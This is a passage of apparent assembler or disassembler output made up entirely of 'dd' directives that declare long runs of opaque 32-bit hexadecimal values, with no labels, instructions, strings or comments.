0C0F8DE5Eh, 400CDABEh dd 445E1C86h, 0AF5412A2h, 1096C8h, 0E6F87481h, 0FB7C8FB9h dd 28688707h, 0BFE09D65h, 0B54A2D15h, 0D71FB6F2h, 0DD258266h dd 0A4BF7990h, 7A483A17h, 6EDD2EA9h, 0ABD9128Ch, 0CA04D66Fh dd 99331021h, 802138A4h, 689D9265h, 629000A1h, 1DE411ECh dd 62E0809h, 0C22D8920h, 95897067h, 9EF4AB7Ch, 2CC4C059h dd 0C902BFB9h, 0B3464391h, 2C3CF5E6h, 9D4F496h, 94F673C0h dd 477D7300h, 0FC975BBCh, 0BC21644Fh, 1A6D85B1h, 0A52C3BEAh dd 820F0C05h, 260BF625h, 80927B11h, 424D3A13h, 0CE007C54h dd 0EA88A4EFh, 8809E910h, 0F10F28DEh, 44B408D7h, 8DBCFDB1h dd 9A7B3A3h, 0DE745Ch, 1EB6A26Ah, 0CE13CB1Dh, 29465358h dd 7F62F75Bh, 7A4F7703h, 5D8C5B40h, 0F3D2029Ah, 14E97DDEh dd 2AE11B20h, 0FEDC5EF9h, 789D1640h, 458BD27h, 0FB118D7Bh dd 18B7BB1Ah, 411B4FF0h, 0D4EAA417h, 0BE4A4CECh, 4426D869h dd 755AE6B0h, 8132613Ah, 49963B13h, 1FCD8531h, 0C84BDB2Bh dd 0BD84C018h, 30F719A7h, 154AC7ACh, 0D80ECDECh, 81C050C2h dd 35A5D6EFh, 0A4056B4Ah, 70EA5317h, 364ADB3Dh, 563BEC95h dd 1BE280F9h, 368EB30h, 8C36E16Fh, 9A12BC2Eh, 1EF33771h dd 9ADFFC25h, 3DE27F7Bh, 98EABD56h, 0EF4B1D11h, 7C8C8125h dd 1D6300DFh, 3DC193FEh, 573B4B30h, 4CA80124h, 43F36D51h dd 0EFDA122Eh, 7380629Eh, 944ADE36h, 0C69A1F25h, 0F78102D5h dd 2D74FF29h, 2D9ECCD7h, 855EDFB7h, 89E804F4h, 0EB1C1DBDh dd 434AD5B7h, 0BC33F5C7h, 0E1A83CF8h, 1480B913h, 23106BAFh dd 0E3E11614h, 79E658AAh, 0B82E2441h, 16BE9244h, 0C828EB1Bh dd 4F470496h, 0B8D0F7A5h, 95310CD1h, 915393B1h, 3CDD81F8h dd 7A4D70DEh, 5F8913F7h, 114D3877h, 0E270821Bh, 70689495h dd 0E4F39549h, 0F8D205D0h, 0AB304C26h, 0A097BC4Bh, 16C87Fh dd 2F59DD9Ah, 0F4EF5E33h, 0C6F10900h, 3984D245h, 961825DCh dd 0E18F8E40h, 0F94F56ECh, 0BD5B1FACh, 97FAF8B1h, 4D7D4F29h dd 4323E747h, 4BB839B5h, 0E82807F8h, 1D4AA231h, 8984ECE2h dd 59564908h, 0F05BA581h, 6C5ABF00h, 0D3892C81h, 0F94C565Ah dd 8D01A04Fh, 0E2054AA9h, 0F0EDD7CFh, 394EE3A8h, 5CDCC0C8h dd 6980A787h, 1F3BBA93h, 0BE18FB00h, 3AAA6B09h, 0F789F9Eh dd 5F5B0640h, 313FD3C6h, 0F529B8D4h, 21E7C6AEh, 7CB8E927h dd 4E56257Dh, 3D0FEDCh, 75F652A5h, 1D5A0FE9h, 6A354EEAh dd 0BAD76380h, 0A404AE77h, 0C18BB2D9h, 3AC91B9Bh, 91D8B55Fh dd 89EB9719h, 4B6D5133h, 489E3AA1h, 3AB306C6h, 16E0A18Dh dd 3053CF47h, 342AAEBh, 1F4ABD9Dh, 3FD3C490h, 5FCD95E9h dd 26D0F4E1h, 4C176CCh, 6DBD8B8Ah, 8BF2EB21h, 3B55202h dd 7C78615Bh, 7B8FF30Eh, 9EA9F350h, 774A0BB8h, 5AEFCEB0h dd 6AA5B10Fh, 1DFD7FECh, 4AC07ADAh, 0C4C56DFBh, 0BE0D6952h dd 4EB042A7h, 11CF851h, 0DFE5399Dh, 42B57B7h, 5F31A7BBh dd 1C12CCB5h, 68630860h, 6A1D02F7h, 0B3DE9184h, 1B165D54h dd 0E6D3F1ACh, 0F5EBA5AEh, 2A6E2191h, 6A8119D5h, 0F83EC4D2h dd 55FDF4D3h, 7D0BA0B8h, 80B9D8B2h, 0DA8ADEC5h, 6F02486Ah dd 500F407Dh, 9057F6F7h, 950E6981h, 0D36962F9h, 60AB505Ch dd 36CC801Ch, 6199C4C1h, 382E29E9h, 3F41DDA3h, 145DFD8h dd 0B3626A1h, 2E2A959Dh, 88088628h, 9801489Ah, 0ADB964B7h dd 842C90E4h, 7510D381h, 3A87E0AFh, 0BDB1C905h, 0D0EF20F2h dd 4AB8FB54h, 571E0712h, 419BBB12h, 8CE2B380h, 0D312603Ah dd 82E6ACFBh, 7DCCF925h, 0E9781498h, 95008282h, 75FB752Fh dd 1435372h, 0A82AD6C2h, 954760EFh, 4F1C6132h, 0E9EB82FFh dd 5DB5211Fh, 0F2AA051Dh, 2DBE4A0Eh, 0A422AF78h, 0D1ABB0E4h dd 3870E6BCh, 0FE78027h, 0FC746AADh, 0DE106623h, 5258471h dd 9188792Ah, 8F205A06h, 2ABE9Bh, 3478F440h, 0AA4322EEh dd 95BA7E6h, 0C8AE0725h, 0E404D86h, 6BA25F9h, 0F7F31738h dd 44EEBE0Bh, 806F0132h, 112EE8CFh, 3F005850h, 36A33BEEh dd 2025698Eh, 5059C0C1h, 0C82B2F5Fh, 0CB39718h, 85EC95h dd 0FEB9C752h, 0F847F917h, 74B84300h, 300698C1h, 0E99239FAh dd 0A0D72D6Bh, 4C5085B0h, 12476455h, 0D6FAC6FAh, 4B848852h dd 7841DCECh, 17AD8630h, 0E06145FDh, 0F1BD2037h, 0DDBD84D2h dd 8716632Fh, 3B18808h, 1A409822h, 4A4851E9h, 0DE99092Bh dd 0F62D6973h, 4E76F233h, 79315F25h, 6C35A51Eh, 0E00CBD61h dd 8224EF68h, 802105AFh, 2137BF84h, 0FF8461B9h, 0CB7AEBB8h dd 562A1C00h, 0E37C5733h, 5F745E48h, 979D30FCh, 353002F9h dd 0CBA26AA7h, 5457F5FAh, 0F7B6D452h, 695055C9h, 0B7E78016h dd 480630EBh, 9A008B2Dh dd 867350B0h, 477345Fh, 15B993F8h, 1341E410h, 57A7098Ah dd 5380B0F3h, 0EF34373Fh, 0A8D24EAh, 9A62A5BFh, 70B1DB75h dd 0C47D66FBh, 8F95DC04h, 99CCFC18h, 41120076h, 23A6FBFDh dd 5C15C37Dh, 0B8378058h, 9E5AC11Ah, 0FD74CD75h, 0A9CC4139h dd 0E39D3A1Ch, 5A95D930h, 5034B62Dh, 2BF59017h, 57261920h dd 0D1010059h, 0B3A39FAh, 9D272B68h, 5F46405Dh, 0F51FA1BAh dd 60C83D2Eh, 24B74938h, 0F2EB8B05h, 1CC14B33h, 0E67B4639h dd 0B015B28Ch, 0C49D5E80h, 0B92245F2h, 8CAAD3AEh, 0BD209DE7h dd 8895952Eh, 0F3F78180h, 9E6584A4h, 6B65250Dh, 5B38931Ch dd 24356EEEh, 351ADB7Ah, 0D48856ADh, 0F1001C46h, 20A56E9Fh dd 0BD287DEDh, 112E8B26h, 18427E1Ah, 0D6955C86h, 8A4F1C46h dd 128248F8h, 97E20921h, 1C4EEB5Ah, 2701C423h, 7CE29DB8h dd 9C75262Ch, 0D1762D28h, 0DC437CD2h, 19E7AE01h, 6D9F46D8h dd 1ED5202Ah, 3E016C0Bh, 3E7C8A6h, 21D8D9C0h, 31F20914h dd 737CE047h, 0F7E38160h, 5945E608h, 0CA4A3A5Bh, 5EF93AEBh dd 6C00AB7Ah, 9E26FA9Ch, 3F155E83h, 583368h, 7BDA482h dd 8C9817h, 65169DC8h, 7C5A27BFh, 5F799412h, 0C2BA2813h dd 3C5C6066h, 893F02DCh, 2D6B5A14h, 0BFECA2D5h, 2CC45CF9h dd 35590B56h, 3364DF56h, 0D8FA5752h, 2B99812Bh, 0CD046012h dd 0F81313A9h, 66CD4A8Dh, 0E1FDC230h, 58409002h, 5B9CAB11h dd 5E57A509h, 78B7DE36h, 6F6A5EC4h, 0B065007Fh, 0C02E28B5h dd 0BD50E81Ah, 766F18F1h, 550089B2h, 0D56CD88Fh, 18082F78h dd 8105E9C2h, 4A351AAh, 2BB23BBEh, 52505309h, 0DD2578F1h dd 0EC7741ABh, 0BA5E9F53h, 5E310F42h, 5EFC408Bh, 0FD097A62h dd 54145F26h, 8BB839E6h, 279EB058h, 46D6627Eh, 61F1001Ch dd 54B67856h, 0A7E0240h, 197D8D89h, 3262EBA9h, 256BCE77h dd 0F7837B3h, 0D0E75B97h, 5E250C38h, 0F409C232h, 919AF659h dd 0A016B520h, 9726B030h, 15910C35h, 814D4585h, 0DE23CF6Dh dd 572D085Ch, 9C2E6C30h, 5C1FFC7Ch, 3A857976h, 0DBC1BC29h dd 0DDE1E204h, 81B5F83Fh, 1EB99509h, 0F3815B00h, 0BCECC409h dd 932A7162h, 87D4FB29h, 0BD6980AFh, 27871925h, 345086DBh dd 887A001Fh, 0EA88390h, 0BB0EBD75h, 7284ED17h, 73D19E1h dd 0AD019BB8h, 29BBED7Eh, 0FC3E64B3h, 64968961h, 92DE9560h dd 202B5079h, 2F7B02B8h, 30314500h, 0D7E4237Fh, 82320085h dd 964F1D7Ah, 0D409EB81h, 8236A124h, 57D2BC30h, 0CE524953h dd 9F8C7C40h, 2908F146h, 1B2DBDh, 230CB568h, 0A4BB779h dd 0F4A5280h, 6E3FF33Ch, 0A6F60058h, 75608CB0h, 8D9E257Fh dd 58FE4AD6h, 7110E003h, 42502702h, 9D12D090h, 0AD014FB7h dd 7539DF43h, 4B0D0230h, 2631C914h, 5F8B2D41h, 0CD61FEA4h dd 0E8B06F80h, 0BA303846h, 0FEA7FC87h, 133B20F5h, 0BE12833Eh dd 99E22742h, 5FF852C2h, 2D518056h, 0F98B2183h, 0F7D41E9h dd 53178727h, 0DD398015h, 1F48A7B6h, 868D2E00h, 0BFD3E941h dd 14710907h, 0D2045B53h, 0C8E15603h, 0E9F9CE2Ah, 9C86A3Bh dd 846EEA86h, 0FBB08494h, 0F6C7957Dh, 815DBB98h, 29487FDBh dd 62C85730h, 0A52F03A8h, 62F717D1h, 0EECCBF02h, 0F35675C7h dd 0DCB577DAh, 76EE0038h, 4F90840Bh, 7980C4F8h, 0B5F1AC19h dd 0AFD7E09Ah, 0F99EEC90h, 259400A8h, 0B9666096h, 0CCB5FD64h dd 61F9098Ch, 0D95D9650h, 0FB9D9309h, 0DAABAD85h, 9DD9D298h dd 0CC1CA541h, 23F1568Bh, 64E9585Ch, 6679004Ah, 9DF7E8FAh dd 0E20AC83Bh, 0B999EA43h, 0F6C174A5h, 8284EF38h, 0A494197Bh dd 4CE0FD9Fh, 0DB9F3165h, 9D1D09Ch, 4E1544Ch, 953134B2h dd 5AC6F8AAh, 1F47FBAh, 14AFCD3Eh, 0B27FCC10h, 2ED3A8DAh dd 40A7F2Bh, 0BE1C4FE7h, 0C3024FE3h, 0D88A56Fh, 0B72D775Ch dd 0F4D7003Fh, 7FB5B131h, 3EF50951h, 0BF92A9ECh, 74AB7A34h dd 0C0D9DA57h, 70B35397h, 0D60161C8h, 0BFB4ECF7h, 102E0B0Ah dd 0CE0B7F31h, 29E4CE56h, 61BDF3EAh, 0CE2FD732h, 20CDC23Eh dd 70F8C557h, 82010E1Fh, 398DB3BEh, 609AA3ABh, 0B6D893C9h dd 6084CF95h, 7E7F151Fh, 3E80CF2Eh, 0A1B392C0h, 1C7E469h dd 76FCDB5Eh, 0C0304CD9h, 0DE9F31D2h, 0B59D0E80h, 0C3772C13h dd 1B478716h, 1C919804h, 0F032DDEFh, 0F5A15BDh, 2C8857E3h dd 0CCEE89A8h, 0B3546C4h, 6D19500Bh, 0B024D841h, 5D12FA00h dd 13C2E4F0h, 0F5019F97h, 0C65B3CD8h, 90556A2h, 1911CCBDh dd 0CEB97780h, 0A34B65C2h, 152B868Ch, 330B89BDh, 0D397A992h dd 1D095A6Bh, 6771A135h, 0F6095B47h, 0B216F4AFh, 11C4357Fh dd 0E6D782ADh, 0DC1EA14Bh, 8A46BD41h, 95218674h, 572E9664h dd 203ECD52h, 5B5F2512h, 0D5A071C5h, 0E9895162h, 25715CB7h dd 0B570EEDBh, 26032D4Dh, 2906AD5Ch, 0C47F6985h, 0B961D7F4h dd 0B8A2D14Ah, 0BF3A0143h, 79663937h, 7824090h, 3EED5081h dd 7FECA2h, 56168C9Eh, 93A20957h, 81E68500h, 0AD47FCD3h dd 6A5B2573h, 0F2B75Fh, 0A70A2B80h, 60DBBACh, 4A72B5A2h dd 0C274EFF0h, 0E94F4DE6h, 72A55B7Fh, 0DD69BD56h, 6B290AE1h dd 0EC2A1DA1h, 0B31BFC98h, 0C5DB2552h, 19C04A5h, 0CB01BA13h dd 310F5F57h, 0C23C243Bh, 59DD7241h, 0F7F8A5ACh, 4EDC515Ch dd 4A5470FEh, 9000DAEAh, 9EA1EEC5h, 2BA49A4h, 7F6A66E9h dd 1761A0BDh, 0B8336990h, 9E360533h, 0E06AC853h, 0D54F5907h dd 8209C0A0h, 56551A62h, 0DB6A162Dh, 0E296C08Bh, 0BBA55D1h dd 0F3213FEDh, 0F48EDCh, 35EDA838h, 91656871h, 9BECD5Ah dd 0A9715BA0h, 97A26092h, 0FC823D3Bh, 9CAC985h, 614E0046h dd 18AC7EFDh, 53BD048Ch, 0A8EEB391h, 0E8B0438h, 6EBED1FFh dd 69F90F13h, 7553C129h, 282E8460h, 28B4A93h, 40D3EB6Eh dd 86D8026Ah, 307D24A2h, 255F5B22h, 0B7770489h, 38020433h dd 205BBCABh, 2C297606h, 53E61609h, 0AAE98012h, 57847AE3h dd 8308174Fh, 21BF0132h, 2F2CA11Fh, 858050DBh, 268E3D5Fh dd 0C1D82A02h, 55BF0F94h, 0CAB5416Ch, 2837FF31h, 0A2ADF700h dd 9E0B84CFh, 0A95E49EFh, 2CBE1A13h, 0C5585DFEh, 86D94AE2h dd 0AC91C47Ah, 7DB95E7Ch, 10BE0E8h, 0FF896E9Ah, 2B564011h dd 41C9E39Ch, 26B17B21h, 84B8A739h, 27DC70BFh, 97CF2BF1h dd 901BB443h, 635B32h, 0BFD54A79h, 116FC478h, 0BDC23397h dd 0D836A020h, 0B079300Ch, 4621550Eh, 70E61C12h, 42E2E730h dd 93160563h, 0E871E4B9h, 0BDD74A53h, 0DF4B865Ah, 0F05D5892h dd 0DFBF2D3Ah, 0FB2B195Fh, 0B93FA128h, 0EF5BB858h, 46AA2C24h dd 66FDBBF7h, 0D5E2F725h, 2FED48B0h, 9E405582h, 1B4241BDh dd 0DCCB8003h, 315090E9h, 164EA122h, 50B330FBh, 81268FEh dd 0C5BA923Fh, 496B811Ah, 9744C14Eh, 25EB2956h, 9EC3AB62h dd 0B10C70EAh, 31A983D5h, 97A3942Ch, 0F4E457D1h, 0F84F8B62h dd 0DDC4ABEh, 1C2C6E8Eh, 0B788408Bh, 951A9738h, 2B12AE5Ch dd 292285E6h, 0F0988C80h, 0F8893297h, 0BF0E403Bh, 3486DC3Bh dd 68124A1Ah, 97D9C0D8h, 0C9149030h, 5E9D0380h, 0EF16C43Dh dd 0A29ABC20h, 0D97A0E06h, 5E60C838h, 0A6A076B5h, 8CE38A05h dd 84FB96A5h, 0A03DB75Ah, 3168312Dh, 45B68825h, 0C7882B03h dd 9AB64B5Eh, 0C01AC8A6h, 0DA024854h, 0BD85B817h, 825E6C2h dd 121089Fh, 10C3B904h, 2AE964A9h, 638720FAh, 7877D84Bh dd 9429DE3Ch, 80EB2E05h dd 0C2A2BBFCh, 0E64B4A97h, 10FDF34Fh, 4F150DC6h, 0A5A2C612h dd 4CD38101h, 2E32C851h, 6DAB5A24h, 656A3F21h, 0B2B87B16h dd 55F31D35h, 47740683h, 2C4980Dh, 0C8543E7Eh, 0C0371B0Fh dd 0AA0C597Fh, 626520D8h, 884F4A7Ah, 66B03EB7h, 91269CD9h dd 7D150D26h, 133049E4h, 65C47BC6h, 0A09EA7FFh, 92C18A9h dd 0F6DDF9ADh, 0DF1756DCh, 0A607C8Dh, 94E11245h, 6AC2E128h dd 49E83CBDh, 34505B04h, 0B8AA9406h, 0DBCA4A22h, 79B260C3h dd 614E9E7Ch, 92E15EA6h, 0F6282E61h, 284FB578h, 0FFE8A964h dd 3BA19580h, 0FE02CFBCh, 16C14A6Dh, 2AF355B1h, 25FE42F0h dd 0F1CE676Ah, 4012CDB5h, 0FF084E8Ch, 8AB7E112h, 749DDBE2h dd 4633C251h, 0EF51D85Ch, 6B7B7Bh, 0BD9CA592h, 4B2349CFh dd 22B38A4Eh, 0DD8A1389h, 295D0B60h, 58583DA9h, 0CD781AB3h dd 5DEF01FDh, 18B1EA8Bh, 2DA620A4h, 0D22A2741h, 0E5251043h dd 3B0856C0h, 5E7F0035h, 0DED69E83h, 932D476Ah, 2BBCE1D8h dd 955C5B02h, 0DF254EAEh, 833EA4B7h, 5BA0A118h, 2562BEF9h dd 0F34E01C1h, 2DE98983h, 87243A32h, 0B8B68F52h, 3A2FBC4Fh dd 1E649FAh, 0C71751BBh, 9B3E6A0Ch, 365EC0DCh, 407D993h dd 2BADB633h, 147F8F8h, 61D86867h, 32A3249h, 56622784h dd 6BAA30BDh, 89009E6Ch, 0A754EB45h, 20E1B86h, 0FCAF6546h dd 605C5FCAh, 31546D6h, 9501C586h, 0F84725FDh, 909554C6h dd 1DA86E2h, 0BD32EE44h, 64CFC135h, 730541C4h, 1E8E95Bh dd 97DBE5C8h, 3DD74A09h, 0D73D85C2h, 0DA0B82E4h, 624455Ch dd 62F10BFCh, 9A554283h, 0C6F15D5Ah, 6CF8600Ch, 38F3BDD1h dd 2D9EAF28h, 2EBF5080h, 4B0DF4DCh, 2F388D5Fh, 891667F3h dd 8B2EB906h, 13E25F9Dh, 802FBDD5h, 41274C56h, 0D909D2B8h dd 54301120h, 57506198h, 84A2E8BBh, 7FAD174Eh, 599D2B0Dh dd 0ED122AE5h, 83939EEAh, 0E8F47C3Ah, 39C52750h, 0BD0B992Bh dd 9CDF0B15h, 865E97B3h, 0FA777B8Eh, 13107555h, 0E9002FEFh dd 0C85C1381h, 5809CDh, 0C004DD27h, 0E35F8B90h, 521C58B8h dd 5122880Fh, 526ABF5Bh, 0FCDD240Bh, 20C8296h, 0D16140F6h dd 3D0700F3h, 0A9A7CDA6h, 33275250h, 4837F713h, 77AC2100h dd 3AFC6280h, 2D4C998Fh, 0B91E7516h, 13A2D47Dh, 32FF0B55h dd 0B7108A0Ch, 0D65A8369h, 50C9D2FDh, 0DD2FC5F9h, 904F2A18h dd 9CDB8100h, 0BB3D77ECh, 822E2F06h, 392BC50h, 0E7BB6D9Fh dd 2A680066h, 2B90B84Ah, 0FC816170h, 95E6E6D6h, 0BBA7DBh dd 937DF387h, 16DCC54Eh, 0EE4D4C64h, 0FC25C5CBh, 0DB2D43CDh dd 87D67073h, 0B7881404h, 25ABF9A4h, 9C02BAB1h, 5561F5C0h dd 467C8B6Dh, 2921001Dh, 0E5E19C09h, 0C06A1EF1h, 49854B06h dd 514192EAh, 0C99E6A0Eh, 1AE8A780h, 14978440h, 449206Ch dd 4E955895h, 0F6D7FC12h, 726D9F27h, 18601A64h, 6C0913D1h dd 186DC286h, 2BEA892h, 96847119h, 905C8E8Ch, 42F38061h dd 4A858230h, 0F28CB601h, 4C983015h, 5DBD0B09h, 9F93730Eh dd 1A2B278Bh, 902D247Ch, 0F45EBA1Fh, 1A550031h, 8F768AABh dd 0BB00E5F3h, 0C81B7861h, 0BC5BF98Bh, 6021C753h, 0C4231FF3h dd 6A85834Fh, 0BF1288BAh, 0D8DEC20Bh, 53EF757Ch, 41ECB2E0h dd 92220017h, 0CE757984h, 9D25BD29h, 9F94CE19h, 0CC013CB7h dd 0A4F1B7FBh, 44E844F0h, 74F4E70Bh, 797BE1F0h, 85388C09h dd 812C023Dh, 0EF5F0431h, 1FA21BCAh, 0BF25D058h, 0BDB9C6DEh dd 0FC9751E4h, 57B378F8h, 2C20FB9Dh, 32093E7Dh, 0E1E20D76h dd 25B914D5h, 0F6598D0Fh, 5E34574Bh, 9BF7A617h, 7FB1A912h dd 5D50C560h, 8BBC1820h, 0B2875400h, 502A6ECAh, 516D05EDh dd 0BBB99589h, 0F92EF9F1h, 8469A92Ah, 48294E81h, 4AF76CC1h dd 0B2B71CDh, 0F863FF69h, 0CFF97DF8h, 0DAEC455Eh, 48A402AAh dd 0DF61DDF2h, 0E2FFA4C2h, 1BB55523h, 0C1801891h, 0ABEB52B8h dd 1E05BB75h, 6050259Ah, 0D93B20EEh, 0DB0495D0h, 5282F18Dh dd 218079B8h, 0A47ED2E7h, 0C307A900h, 0FB9D37EEh, 2FE12E06h dd 0A47E2766h, 11D38180h, 8C283B6Dh, 218DCCC5h, 4AA88BAFh dd 54A85FB9h, 12D6BA02h, 0DCCB83E1h, 4A7C6BFCh, 9E8ECB3Bh dd 0FDC2E179h, 6E8308B7h, 0BC977508h, 84F1EDAFh, 0E61A2D4Dh dd 96947156h, 0EAD4AAFh, 92DFC825h, 42C65E65h, 0F975AB67h dd 966142DCh, 18DCB956h, 962A5360h, 77970699h, 0F14ADE94h dd 1A010B8h, 109F5195h, 95246DD5h, 78A74C73h, 1E155634h dd 0AFF98A13h, 71933BDAh, 2396E23Eh, 7D00039h, 356F1C70h dd 8B88007Bh, 0B6081977h, 134B61A4h, 5F35F68Ah, 199BFB38h dd 0ABE93FC5h, 0C980842Ah, 359D0308h, 0F1283241h, 0BB86844Fh dd 0B74E1BE6h, 640309A7h, 0C1FA71C5h, 1205ADBDh, 25DB2945h dd 1051BD0Eh, 0E2C14A76h, 2DE95AB6h, 5D8D8FC0h, 81040C51h dd 29782F58h, 0F43F1DE1h, 539D5FCEh, 181459F6h, 9118B7D2h dd 5D00886Dh, 5A79D3FEh, 1266D91Eh, 0B4CE14BBh, 8B3B521Ah dd 0FC6AA5D8h, 10EDEAFh, 0E2BF685Bh, 92144F3h, 6AB7617Fh dd 0C00DDB3Bh, 5C16E28Dh, 2805E67Dh, 128E3B1Ah, 0AEE95F43h dd 0ADE532F3h, 12B580ADh, 26A4EDEh, 29728517h, 0C55D870Fh dd 91B100E5h, 297AF661h, 0BEBCFC09h, 0F3DC0C5h, 27286982h dd 0B9F4ABC4h, 59ACA300h, 96864838h, 0AB2C02EEh, 0E19131D4h dd 0CA40B4D6h, 65B9ECh, 744A3E28h, 25605CABh, 3EBEF05Eh dd 9A172B83h, 4FE9F507h, 0BACBE1AFh, 442E3666h, 0FE9E6122h dd 4017245h, 90F1CE25h, 0A927ED2Ah, 26D71Ch, 0B9A0C34h dd 8E35E808h, 642F7C95h, 55A2AB83h, 0FF2E8801h, 84FE8BD1h dd 44C3DBA0h, 0D219E6ABh, 9EA0DBB6h, 410049BDh, 0F7C781CAh dd 2718D40Bh, 756D026Ah, 0A45AF8C3h, 36C0A081h, 0B2C1882Ah dd 41CF7EAh, 0F2492692h, 8AD2403Bh, 8CF3B7DDh, 3CCF7725h dd 85291640h, 0BE0B4A3Dh, 0CC5D106Eh, 9D4FAC93h, 9ABAF02h dd 79E1C0BEh, 38B7801Bh, 1C97E977h, 5F4D20F6h, 757A1993h dd 62960071h, 0B081BE9Bh, 6A3FFD1Dh, 1BA86BFDh, 0C180099Bh dd 0F299FF4Fh, 0E4D95884h, 0D6D0F84Fh, 844B1FAEh, 0F0614728h dd 0DA5D8BBCh, 9DB51C2Ch, 0B44A4FFEh, 4BDEF190h, 0FB35C43Bh dd 2901D77Eh, 2FC08973h, 0BFFDAB0h, 525A566Dh, 962555Ch dd 7DA1F28Dh, 4F9DEA6Ah, 3549C8A5h, 31D7065Fh, 28AE0D64h dd 638A0CB0h, 571EAA66h, 0BFD8B018h, 8A359902h, 5570E637h dd 8D3469CCh, 93AB31D5h, 573B293Bh, 214A7F0Bh, 0D827B9E3h dd 0C10AB264h, 2833DB0Bh, 12FA2945h, 1908E3F4h, 1158F9B7h dd 9F3CF92Ah, 0D909A956h, 170378FCh, 4B41BD29h, 12DF3300h dd 120B5C1Fh, 8026E889h, 8BFCC82Bh, 0F7525CD1h, 5FA90133h dd 227579AFh, 0A680E9DFh, 12D90D4Ch, 0BEA1BD23h, 9AA16D5h dd 0C8575088h, 861FE12Ah, 4E3D6095h, 8FCE95C4h, 19CD7AC6h dd 604A446Dh, 5BBA6600h, 0E27EBFFBh, 612525FAh, 0C190FAC6h dd 5EE69625h, 92D75A10h, 5AF37011h, 9FEAB201h, 19E19544h dd 0E7611024h, 2585C52Ah, 0FBCCFA8Ah, 0B0D9D720h, 9CDE959Eh dd 0A1F15DE9h, 18E90614h, 0C9AA955Ah, 1A7E9D1Fh, 5FB5A8CCh dd 80A9E923h, 3A8465ADh, 549598A8h, 165FA3CDh, 0E71037B9h dd 6306A055h, 13EB0BBAh, 125703EEh, 9D604D9h, 7BFCE121h dd 2C00356Eh, 53EA9DB4h, 6F016694h, 2277A9BBh, 4773FC06h dd 54ED300h, 7BEAF502h dd 0DC89770Eh, 61E913B8h, 3331CDECh, 29DC8F4h, 4AECE32Ah dd 88024DAh, 68CF565Eh, 0F80DA300h, 8A0FFA69h, 0E227D21Ah dd 2AC700F1h, 61AA80EFh, 0C05B0159h, 3497ACC1h, 46D0D78Fh dd 547DB706h, 9120BF97h, 0D69F8319h, 1586D02Dh, 91BB01BFh dd 8C0F0977h, 4829AC02h, 0A011C425h, 9D2B6D33h, 1579815Bh dd 0AD4ADB18h, 271A2C1h, 0BCE66Bh, 0F0ACCC43h, 1C72C27Dh dd 0FC6D90h, 0D0A1282Eh, 612F21CDh, 958B7851h, 4575F99Ah dd 0C675CB96h, 4F51098Bh, 9E4D6545h, 0F4FC21C0h, 4C8204C4h dd 0C0A7BBB3h, 0BEEE8138h, 0C80A2661h, 0D830C0FEh, 8AFF4BBFh dd 517234EFh, 0A900A36Fh, 0CCFEBB18h, 7E9D6963h, 0C494FC6Bh dd 0D1E0BA4Dh, 0AFDE9F13h, 0EFF3BF40h, 0BF7E4EB0h, 82807534h dd 8015859Dh, 40C2E1FFh, 50F5ADE7h, 8E2BF7B1h, 2E1322C4h dd 25E69509h, 80C03E5Ch, 13F00357h, 0AB9DE22Ah, 0EC31A369h dd 0B32AD461h, 83C68AFFh, 0DA7BF80h, 0BB606BE7h, 5AFF7AD4h dd 0BC27131Dh, 0AFF712BBh, 0ED7ADBB1h, 27CCE824h, 0B5DBD2Bh dd 46F4D8F4h, 83B24A89h, 3571D92Dh, 83A92134h, 0AD1689CEh dd 8D12DDD8h, 60A5D2BFh, 0C557E7E2h, 6E7F25C9h, 23519D02h dd 0DCADB18Bh, 0F6DC2EB0h, 8060700Fh, 0A1B86FEAh, 610F6A79h dd 22219238h, 1C45C831h, 0DDF26800h, 0BB6CA601h, 20BFA20Ch dd 0DE5032Eh, 0AEE4B9DEh, 0BC9376A8h, 0F6ECD248h, 0EEDEC5D7h dd 602D7CCAh, 0B5C2A7DCh, 9847E4BDh, 61A68904h, 0B923842Bh dd 337E8A2h, 96B6AA8Fh, 0E0127D1Eh, 70AE08FDh, 3B31BF33h dd 0CD7F1B25h, 601B64C6h, 4E4D8D7h, 1E78EE2Ah, 0D13281EFh dd 51814821h, 20B7185Ah, 0AD30EA4Ah, 13E14733h, 0AA10B76Fh dd 0DD95F760h, 41AC8423h, 0C2FC8A25h, 0E0C26DC0h, 96A03CBFh dd 0F98A5707h, 8B51505Bh, 60EA5FDAh, 26E1614Ah, 6E137810h dd 20C3EE93h, 0BFB8EC27h, 0B1D9B75Fh, 12F87710h, 0D8E704F7h dd 0A03B3254h, 258402C5h, 0C6C72A21h, 5D41122Fh, 0D9F8600h dd 0FA00EE3Ch, 0B00ABAA0h, 1CC2F8E0h, 6E50905Fh, 23D70BEAh dd 3E62F85Ch, 0A0995798h, 2DF86B51h, 90DABF80h, 5B2D46F7h dd 5CDB758h, 0BF656B52h, 3ECB8E20h, 0CA4C090Bh, 3975ECF8h dd 642DB3h, 0BF8D5E5Fh, 92000D7Eh, 0B0665FE8h, 6A090BCCh dd 579FB3E2h, 8F713D08h, 66C5A02Ch, 20B250h, 3328807Dh dd 3A52E1h, 0D7DE8DF6h, 3D6B4A8Fh, 8C3FA202h, 8266B341h dd 0DD880FAEh, 318234F9h, 0FD2FC18Dh, 0E8EAAA4Dh, 468F23E0h dd 68CB1794h, 999BFE4Fh, 0FE1E6A85h, 0F510CEB6h, 9D291624h dd 93E61ADh, 0AD08F116h, 0CBFDB4D9h, 9499FCA9h, 6825ACF8h dd 629CDD16h, 0E9352662h, 963D7F3Ch, 8D7CE980h, 97F820FCh dd 5F72189Dh, 3755E7C2h, 0EC310282h, 0E95C9FCEh, 9D081E51h dd 0E2263121h, 0CF75040Bh, 1C8E4081h, 8912F72Dh, 52AC29BDh dd 0A00E8A4Bh, 0E6422E9h, 0AD636F7Ah, 0FC800EE8h, 0FA3B37CCh dd 818D006Bh, 7C516DCFh, 7C95C8D5h, 4453C935h, 0DAED50h dd 7006D8D9h, 0AC3365BFh, 0BBA8184Eh, 945F1B27h, 20F1253Eh dd 1579AD73h, 7162F818h, 5A18696Ah, 0C4DF4A31h, 0E46FB630h dd 126CB6AEh, 0D6B687B3h, 0E3018B2h, 7A7B148Fh, 592A80FCh dd 165B958Ch, 0CE181559h, 5FAF3655h, 0AD8B801Ch, 12D8F9EEh dd 0FA50CC26h, 9529D231h, 5F27916Ah, 41AF6056h, 57110A69h dd 0EDB11466h, 35BD0382h, 89F3D52Ah, 23099D85h, 582CE0CDh dd 0D38166A0h, 0E2910D25h, 0C67D00h, 2B050797h, 57493997h dd 6CCBCA6Dh, 86AD122Dh, 40E2BF61h, 0DF81AE00h, 17236508h dd 12E71B97h, 8D20E9B4h, 0D14EE384h, 3AAABB8h, 0A2A307C9h dd 428792B5h, 1D177965h, 